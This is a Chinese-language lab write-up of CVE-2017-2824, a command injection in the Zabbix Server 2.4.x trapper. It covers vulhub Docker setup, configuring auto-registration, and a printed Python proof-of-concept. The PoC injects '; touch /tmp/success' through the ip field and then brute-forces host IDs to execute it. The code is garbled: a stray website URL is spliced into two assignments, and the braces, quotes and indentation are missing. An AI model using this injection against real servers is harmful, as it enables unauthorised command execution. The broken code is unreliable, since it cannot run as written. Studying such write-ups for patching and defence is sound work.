Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)

沉舟侧畔千帆进,病树前头万木春。这篇文章主要讲述Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)相关的知识,希望能为你提供帮助。
漏洞描述Zabbix Server是拉脱维亚Zabbix SIA公司的一套应用于服务器端的开源的监控系统。该系统可监视各种网络参数,并提供通知机制让系统管理员快速定位、解决存在的各种问题。Zabbix Server 2.4.X版本中的trapper command功能存在远程代码执行漏洞。恶意人员可远程利用该漏洞注入命令,执行代码。
安全等级

  • 高危
影响版本
  • Zabbix 2.4.7 - 2.4.8r1
修复建议
  • 删除Zabbix数据库中的默认脚本条目,数据库操作 SQL为: use zabbix; delete * from scripts;
  • 及时安装官方补丁升级
环境搭建使用vulhub中的漏洞环境进行测试
cd ./vulhub/zabbix/CVE-2017-2824
docker-compose up -d
docker ps

测试示例示例一
使用poc进行验证
验证前需要登录到zabbix开启自动注册功能,直接使用poc的话无法验证
【Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)】访问zabbix登录界面,使用默认账号密码进行登录admin/zabbix
在Configuration-Actions下选择Auto registration,然后Create action

然后设置一个名称,然后选择Operations

选择Add-Add host,选择完成后,点击下方的Add添加后,再点击蓝色的Add,即可创建成功


在该漏洞目录下,提供了该漏洞的利用方法README.md和利用脚本exploit.py

poc如下:
import sys
import socket
import json
import sys


def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = https://www.songbingjia.com/android/conn.recv(2048)
conn.close()
return data


target = sys.argv[1]
print(send(target, "request":"active checks","host":"vulhub","ip":"; touch /tmp/success"))
for i in range(10000, 10500):
data = https://www.songbingjia.com/android/send(target,"request":"command","scriptid":1,"hostid":str(i))
if data and bfailed not in data:
print(hostid: %d % i)
print(data)

在poc中的10051为docker中zabbix-server的映射端口
通过docke ps查看映射端口,需根据实际情况更改
目标的ip无需在poc中设置

使用poc进行验证,后面的ip地址为目标ip地址
可能会失败很多次,最后也是通过反复重启镜像后才验证成功的
python3 exploit.py 192.168.74.128


成功后进入docker的zabbix-server镜像内部
在tmp下找到了创建的success文件
docker exec -it [CONTAINER ID] /bin/bash



    推荐阅读